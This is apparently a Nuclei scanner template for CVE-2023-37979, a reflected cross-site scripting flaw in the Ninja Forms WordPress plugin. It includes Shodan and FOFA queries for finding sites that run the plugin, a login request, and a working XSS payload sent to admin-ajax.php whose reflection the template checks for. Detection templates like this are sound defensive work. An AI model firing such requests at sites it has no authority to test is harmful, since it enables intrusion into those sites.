Ninja Forms < 3.6.26 - Cross-Site Scripting

id: CVE-2023-37979

info:
  name: Ninja Forms < 3.6.26 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Authenticated attackers can inject malicious JavaScript through unsanitized parameters in AJAX actions to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 3.6.26
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37979
    - https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
    - https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
    - https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37979
    cwe-id: CWE-79
    epss-score: 0.0601
    epss-percentile: 0.92449
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4b0a00483046022100f3b744c125d706884dec339eae665525c39208275ebab16cd17416b5f68b47a5022100bbea0ea5b58e652bcb51b178effde171ae1b37fda7dc88dc9ef3d23c43dfe6e1:922c64590222798bb761d5b6d8e72950